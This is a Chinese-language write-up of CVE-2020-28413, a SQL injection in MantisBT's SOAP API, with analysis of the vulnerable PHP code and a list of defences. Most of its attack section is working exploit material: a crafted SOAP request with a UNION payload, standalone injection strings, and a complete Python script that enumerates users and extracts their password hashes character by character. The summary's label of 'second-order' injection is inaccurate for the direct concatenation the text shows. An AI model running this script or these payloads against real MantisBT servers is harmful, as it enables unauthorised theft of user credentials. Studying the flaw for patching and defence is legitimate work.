CVE-2020-28413 MantisBT SQL注入漏洞分析
字数 956 2025-08-26 22:11:28
CVE-2020-28413 MantisBT SQL注入漏洞分析与利用指南
漏洞概述
CVE-2020-28413是Mantis Bug Tracker (MantisBT)中的一个SQL注入漏洞,影响2.24.3及以下版本。该漏洞存在于API Soap组件的mc_project_get_users方法中,通过access参数可导致SQL注入攻击。
漏洞影响
- 影响版本:MantisBT 2.24.3及以下版本
- 漏洞位置:
/api/soap/mantisconnect.php文件中的mc_project_get_users方法 - 攻击复杂度:需要有效凭证(低权限账户即可)
- 危害:可获取数据库中的所有用户密码哈希值
环境搭建
- 下载MantisBT 2.18版本(或其他受影响版本)
- 安装PHP SOAP扩展:
apt install php-soap service apache2 restart - 确保MantisBT正常运行
漏洞复现
手动验证
发送以下SOAP请求验证漏洞存在:
POST /mantisbt/api/soap/mantisconnect.php HTTP/1.1
Host: target_host
Content-Type: text/xml
SOAPAction: "http://target_host/mantisbt/api/soap/mantisconnect.php/mc_project_get_users"
Content-Length: 810
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:man="http://futureware.biz/mantisconnect">
<soapenv:Header/>
<soapenv:Body>
<man:mc_project_get_users soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<username xsi:type="xsd:string">valid_username</username>
<password xsi:type="xsd:string">valid_password</password>
<project_id xsi:type="xsd:integer">0</project_id>
<access xsi:type="xsd:string">0 union all select concat('-',(select count(*) from mantis_user_table),'0'),2,3,4 order by id asc limit 1</access>
</man:mc_project_get_users>
</soapenv:Body>
</soapenv:Envelope>
成功响应将包含用户表中的记录数。
自动化利用
使用提供的Python脚本进行自动化利用:
import requests, sys, time
from lxml import etree
def Hacer_Peticion(query):
home = "http://target_host/mantisbt/"
url = home+"/api/soap/mantisconnect.php"
headers = {'content-type': 'text/xml',
'SOAPAction': url+'"/mc_project_get_users"'}
mantis_db_user = "valid_username"
mantis_db_pass = "valid_password"
body = """<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:man="http://futureware.biz/mantisconnect">
<soapenv:Header/>
<soapenv:Body>
<man:mc_project_get_users soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<username xsi:type="xsd:string">"""+mantis_db_user+"""</username>
<password xsi:type="xsd:string">"""+mantis_db_pass+"""</password>
<project_id xsi:type="xsd:integer">0</project_id>
<access xsi:type="xsd:string">"""+query+"""</access>
</man:mc_project_get_users>
</soapenv:Body>
</soapenv:Envelope>"""
response = requests.post(url, data=body, headers=headers, verify=False)
parser = etree.XMLParser(remove_blank_text=True)
xml = etree.XML(response.content, parser)
xml = etree.tostring(xml)
return(str(xml))
def Cantidad_Usuarios_Mantis():
query = "0 union all select concat('-',(select count(*) " \
"from mantis_user_table),'0'),2,3,4 order by id asc limit 1"
xml = Hacer_Peticion(query)
txt = xml.split("integer")
txt = txt[1].split("id")
registros = str(str(str(txt[0])[:-2])[-2:])[:-1]
return(registros)
def Obtener_Id(usr_pos):
query = "0 union all select concat((SELECT id FROM mantis_user_table " \
"order by id asc limit 0,1),'0'),2,3,4 limit "+str(usr_pos)+",1"
xml = Hacer_Peticion(query)
txt = xml.split("integer")
txt = txt[1].split("id")
id = str(str(txt[0])[:-2])[-1:]
name = str(str(txt[1])[29:]).split("</name>")[0]
return (id+"-"+name)
def brute_force(data):
charts = "abcdefghijklmnopqrstuvwxyz0123456789"
passw = ""
id = data.split("-")[0]
name = data.split("-")[1]
for cp in range (1,33,1):
for c in charts:
print(f"\rHash: {passw}", end="")
time.sleep(0.00001)
sys.stdout.flush()
query = "0 union all select (select if(substring((select binary(password) " \
"from mantis_user_table where id = " + str(id) + ")," + str(cp) + ",1)='" + str(c) + "','0','900000000000000000000')), 2,3,4 order by id asc limit 1"
xml = Hacer_Peticion(query)
txt = xml.split("integer")
txt = txt[1].split("id")
r_id = str(str(txt[0])[:-2])[-1:]
if(r_id=="0"):
passw = passw + str(c)
break
print(f"\r", end="")
sys.stdout.flush()
print(name+": "+passw)
def main():
cantidad_users = Cantidad_Usuarios_Mantis()
print("Cantidad usuarios en db: "+str(cantidad_users))
print("Obteniendo Hashes...")
for x in range(0,int(cantidad_users),1):
brute_force(Obtener_Id(x))
if __name__ == "__main__":
main()
漏洞分析
漏洞位置
漏洞位于mc_project_get_users函数中(定义在mc_project_api.php文件):
function mc_project_get_users( $p_username, $p_password, $p_project_id, $p_access ) {
global $g_project_override;
$t_user_id = mci_check_login( $p_username, $p_password );
if( $t_user_id === false ) {
return mci_fault_login_failed();
}
$g_project_override = $p_project_id;
$t_users = project_get_all_user_rows( $p_project_id, $p_access ); # 漏洞点
// ...
}
$p_access参数未经适当过滤直接传递到project_get_all_user_rows函数。
SQL注入原理
在project_get_all_user_rows函数中:
function project_get_all_user_rows( $p_project_id = ALL_PROJECTS, $p_access_level = ANYBODY, $p_include_global_users = true ) {
// ...
if( $p_include_global_users ) {
db_param_push();
$t_query = 'SELECT id, username, realname, access_level
FROM {user}
WHERE enabled = ' . db_param() . '
AND access_level ' . $t_global_access_clause; // $p_access_level直接拼接
$t_result = db_query( $t_query, array( $t_on ) );
// ...
}
// ...
}
$p_access_level(即$p_access)直接拼接到SQL查询中,而不是作为参数传递,导致SQL注入。
注入利用技术
-
确定用户数量:
0 union all select concat('-',(select count(*) from mantis_user_table),'0'),2,3,4 order by id asc limit 1 -
获取用户ID和用户名:
0 union all select concat((SELECT id FROM mantis_user_table order by id asc limit 0,1),'0'),2,3,4 limit {position},1 -
逐字符爆破密码哈希:
0 union all select (select if(substring((select binary(password) from mantis_user_table where id = {user_id}),{char_position},1)='{char}','0','900000000000000000000')), 2,3,4 order by id asc limit 1
防御措施
- 升级到最新版本:MantisBT官方已发布修复版本
- 参数化查询:确保所有SQL查询使用参数化查询而非字符串拼接
- 输入验证:对所有用户输入进行严格验证
- 最小权限原则:确保应用数据库用户仅具有必要权限
- Web应用防火墙:部署WAF防止SQL注入攻击
总结
CVE-2020-28413是一个典型的二阶SQL注入漏洞,攻击者可以利用低权限账户通过精心构造的SOAP请求获取数据库敏感信息。开发人员应始终使用参数化查询并验证所有用户输入,以防止此类漏洞。